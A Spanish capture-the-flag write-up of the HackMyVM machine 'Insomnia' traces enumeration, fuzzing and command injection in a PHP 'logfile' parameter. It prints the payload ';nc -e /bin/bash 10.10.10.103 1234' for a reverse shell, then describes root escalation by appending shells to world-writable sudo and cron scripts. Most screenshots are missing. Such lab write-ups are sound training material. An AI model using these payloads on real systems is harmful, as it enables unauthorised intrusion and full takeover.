Responsive image

HackMyVM - Insomnia

1 octubre 2021

Esta máquina se encuentra en la plataforma HackMyVM y ha sido creada por el usuario alienum.

Una máquina sencilla y entretenida que aprovecha una vulnerabilidad RCE para conseguir acceso.

# Dificultad
Acceso Muy Fácil
Escalada de privilegios Fácil

Enumeración


Como todas las máquinas de esta plataforma es necesario conocer la dirección IP de la máquina. Para ello utilizaré la herramienta ping-sweep con el modo de descubrimiento de sistema operativo para poder avanzar más rápido en la enumeración. La máquina objetivo se despliega en la misma red que la máquina del atacante por lo que con un escaneo ARP sería suficiente para el descubrimiento de la dirección IP.

error loading image :(

La herramienta ha detectado 3 IP:

Una vez identificada la máquina objetivo se comienza con el escaneo de puertos. Como es habitual para el escaneo se utiliza nmap y se divide en dos fases: la primera de un escaneo rápido de los 65535 puertos para detectar aquellos abiertos y la segunda para realizar una enumeración más exahustiva usando scripts básicos de los puertos abiertos.

error loading image :(

Se detecta como único puerto abierto el puerto 8080, un puerto común para servicio HTTP.

error loading image :(

Como era de esperar NMAP desvela que el puerto 8080 está ocupado por un servicio HTTP.

Con la herramienta Whatweb se pretende obtener un poco más de información del servicio. Obteniendo que está escrita en PHP, esto es de utilidad porque se intuye que la extensión de los recursos será .php

error loading image :(

Teniendo una entrada y el reflejo de la entrada del usuario en el navegador se intuye un posible ataque XSS.

error loading image :(
error loading image :(
error loading image :(

Sin embargo, tras varios intentos y distintos payloads se intuye que este no es el vector de ataque.

A continuación, se procede con un fuzzing del servicio para descubrir servicios ocultos. Descubriendo los recursos administration.php, process.php e index.php.

error loading image :(

El recurso index.php se corresponde con el chat.

error loading image :(

El recurso administration.php parece ser un recurso que muestra algún tipo de información, tiene pinta que el vector de ataque será por aquí.

error loading image :(

El recurso process.php contiene un array vacío.

error loading image :(

Como el recurso más interesante es el administration.php, se realiza un segundo fuzzing sobre este recurso con el fin de adivinar algún atributo con el que indicar qué información debe mostrar.

error loading image :(

El fuzzing desvela que el atributo es logfile.

Cuando se introduce un valor en este atributo el servicio devuelve que no está permitido para ver el la información solicitada. Con esto puede intuirse un ataque LFI.

error loading image :(

Ganar acceso


No obstante, si se supone que el recurso php tiene la función "exec" o "system" que ejecute un cat con el archivo a mostrar se contruye el siguiente payload: ;nc -e /bin/bash 10.10.10.103 1234. El fin de esto es concatenar un netcat con una reverse shell al cat que realiza la función.

Se utiliza nc en la máquina local para escuchar en el puerto 1234 y se envía una solicitud con el payload. Se observa que la web se queda cargando, buena señal.

error loading image :(

¡Perfecto! Se recibe una conexión y se consigue el acceso.

error loading image :(

Se da un tratamiento a la tty para conseguir una terminal útil. Véase https://thehackersnow.com/tratamiento-de-una-tty/ para ver como se trata la tty.

error loading image :(

Escalada de privilegios - Primera fase


Actualmente, se es usuario www-data. Por lo que será necesario descubrir los usuarios existentes en el sistema para saber a quién escalar.

error loading image :(

Solo existe el usuario julia, será el objetivo de la escalada. Consultando los privilegios de www-data se observa que tiene persmiso para ejecutar como julia una bash sobre el archivo /var/www/html/start.sh.

error loading image :(

Se consultan los permisos del archivo y se ve que tiene todos los permisos 777. Ya está hecha la primera fase de la escalada.

error loading image :(

Se concatena la ejecución de una /bin/bash al final del archivo start.sh y se ejecuta como julia.

error loading image :(

Una vez siendo julia puede consultarse la flag de user.

error loading image :(

Escalada de privilegios - Segunda fase


Se consultan los permisos sudo y ssuid de julia así como una primera enumeración de los archivos que puede ejecutar julia sin encontrar nada demasiado interesante.

Tras un rato se recuerda que existen las tareas cron, siempre las olvido. Y exacto se descubre una tarea que ejecuta de forma periódica el archivo "/var/cron/check.sh."

error loading image :(

El archivo en cuestión comprueba si se está ejecutando un servicio y si no lo ejecuta. Se intuye el vector para escalar estaría relacionado con el servicio en cuestión.

error loading image :(

Pero antes de buscar qué realiza el servicio se comprueban los permisos sobre la tarea cron y se encuentra que se tienen todos los permisos de nuevo. Esto demuestra la importancia de siempre comprobrar los permisos.

Aprovechando el permiso de escritura y que se ejecuta como root, se concatena al final del archivo una conexión nc enviando una /bin/bash para tener una reverse shell como root.

error loading image :(

Se escucha en el puerto seleccionado y siendo un poco paciente se obtiene una conexión.

error loading image :(

Siendo root se obtiene la flag de root y se concluye la resolución de la máquina.

error loading image :(